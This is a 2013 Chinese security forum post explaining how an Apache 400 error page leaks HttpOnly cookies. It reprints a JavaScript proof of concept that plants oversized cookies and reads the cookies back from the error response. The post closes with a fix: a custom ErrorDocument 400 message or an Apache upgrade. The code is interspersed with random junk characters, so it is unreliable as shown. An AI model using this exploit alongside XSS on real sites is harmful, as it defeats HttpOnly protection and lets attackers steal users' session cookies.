找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2747|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
9 F) I1 Q. a$ _) ~; {
) i0 s2 i# B* w" o7 f6 J9 n用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:; V0 H: {4 d3 K
# Q2 t7 ^" X* i3 M& p

% o$ `4 l2 X0 r# C" T+ }// http://www.exploit-db.com/exploits/18442/
- B0 K* ^) E; J/ n* {9 C  L9 ], Ofunction setCookies (good) {+ j- d. S, p( u8 [/ W$ }
// Construct string for cookie value: l9 h6 H$ `. R, c* a' E1 b2 I
var str = "";
4 ~* N. C2 ~9 I* w0 N# vfor (var i=0; i< 819; i++) {
. p1 J; e5 C8 w3 a  u3 W0 Gstr += "x";
  J" |+ i8 z6 J( t}
0 T/ u4 s* N* Y// Set cookies2 ]8 Y8 c) C% e2 W  E1 B+ X
for (i = 0; i < 10; i++) {
1 t% l4 M' ^0 Q- b2 O1 e- }- d. c// Expire evil cookie) c" W8 A+ |0 w% x0 [
if (good) {
3 l" E0 l, C- a: j$ z" T1 J2 ?- pvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
  J- V# v5 ]1 [! \  p5 q; @}
7 ^$ G" p- R+ R8 M// Set evil cookie
& }( S* U+ e0 D3 ^# a/ N, X% V3 eelse {# a  y- z# {" q/ |3 x) s. W" V
var cookie = "xss"+i+"="+str+";path=/";! K% ]4 S& r3 l
}, t8 x) |. g) M" `- _
document.cookie = cookie;6 \: u/ M2 A9 c- m
}
: k4 F) ?) i7 W$ Z. \( D}
4 E9 ?+ m) G2 l8 g- pfunction makeRequest() {" @; A4 s5 ]$ }( @4 h+ J
setCookies();  t- j8 j' D8 d; a8 q
function parseCookies () {% c0 Q9 e4 K7 u: J6 [
var cookie_dict = {};
$ q* }* g" C2 P// Only react on 400 status
8 @1 {. M. c; S# o4 R- r/ jif (xhr.readyState === 4 && xhr.status === 400) {+ Q1 b: J+ _6 M5 ]3 C
// Replace newlines and match <pre> content9 m- ?- E5 c3 @- A$ K
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
! h' `+ k/ ?: j$ v# [2 g/ H; u; W. Iif (content.length) {
) R% V6 M! J. B5 ?8 x% ~) `// Remove Cookie: prefix
/ S8 [7 Y  r: I. m& B6 S$ B! fcontent = content[1].replace("Cookie: ", "");' G  F4 Z! m/ ^( y# y% q* o# H: r
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);9 T3 C4 e' R9 f+ O1 p+ j  g
// Add cookies to object
& b& R- B+ X. t. m8 ?7 ^for (var i=0; i<cookies.length; i++) {; u# Q1 n4 g" Q: o9 J; H4 E
var s_c = cookies.split('=',2);
, [. }, i* ?2 W: Ccookie_dict[s_c[0]] = s_c[1];
; k" U! }! r: B$ V* [}
9 o2 M/ V: M. ]# y$ e  ]) Q}. F9 n" P6 g9 n* V
// Unset malicious cookies# a: f- Z" {2 f
setCookies(true);$ ]' q+ h9 r9 F" |* m9 ^* P
alert(JSON.stringify(cookie_dict));0 o1 O. o) o5 B
}" M2 F: S" p3 Q3 Y. R! Q
}( v+ I1 e4 J0 i6 f* y
// Make XHR request
6 M3 Q& l8 o: }3 i5 R; K" W3 u* Evar xhr = new XMLHttpRequest();
3 |$ f# H: J2 Z0 k7 s) y# y+ T4 T2 ixhr.onreadystatechange = parseCookies;  X8 q: e- _0 \3 y' u5 x
xhr.open("GET", "/", true);
  [6 M8 e( l; e2 B7 s. \" z0 Axhr.send(null);8 A# E, v2 I' _) Z+ T0 c- @) z: o
}6 ^, y1 u9 H( M5 p3 A( i
makeRequest();
( s# n6 ^2 B3 g" V, a8 V0 t2 \& c" k9 p' ?! d" K# H
你就能看见华丽丽的400错误包含着cookie信息。
& S3 Y$ `% \+ ^8 H5 v6 |! U# W8 A# N: @1 r* O
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
& p# B/ e+ n9 Y! D% Y) y1 z6 _6 A/ M
修复方案:
6 Y# o8 r7 D- y- R7 q
. ^* e) S: |6 @: d+ uApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下$ k, {8 h7 {& C! q4 \

. t: @. q* }# s+ K' CIn the event of a problem or error, Apachecan be configured to do one of four things,0 k0 U/ ^( H4 V, y8 @! G

& \. v7 [8 @+ o/ ^( d7 Q: G( d1. output asimple hardcoded error message输出一个简单生硬的错误代码信息( x+ l2 a) `( M; {& P( f5 r
2. output acustomized message输出一段信息( q% }- L& X! E9 Z
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 * c  s: B$ }" ?/ L& X4 t0 I3 E
4. redirect to an external URL to handle theproblem/error转向一个外部URL
4 S& \; R6 f9 O7 Q) b3 s  c8 l! T0 @5 ?) m
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容- [# \# o, |+ {+ T7 N! f
8 H! Z! ]2 V& a0 m4 o/ U' M* b
Apache配置:6 F* \' N1 q$ l6 l6 R

) u/ l/ W* Y4 f5 K5 G) MErrorDocument400 " security test"
! ^. F" \5 E- ?' _- F+ h
$ a! X/ V9 e: {/ B5 s: Z当然,升级apache到最新也可:)。, w3 `) h0 m- T% W8 g
! j1 w( y5 x4 u* [) E0 w& w
参考:http://httpd.apache.org/security/vulnerabilities_22.html
. }% m) Z- f% b% l  I$ m6 c: F, b. }  W& |4 n* J4 G1 }7 S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表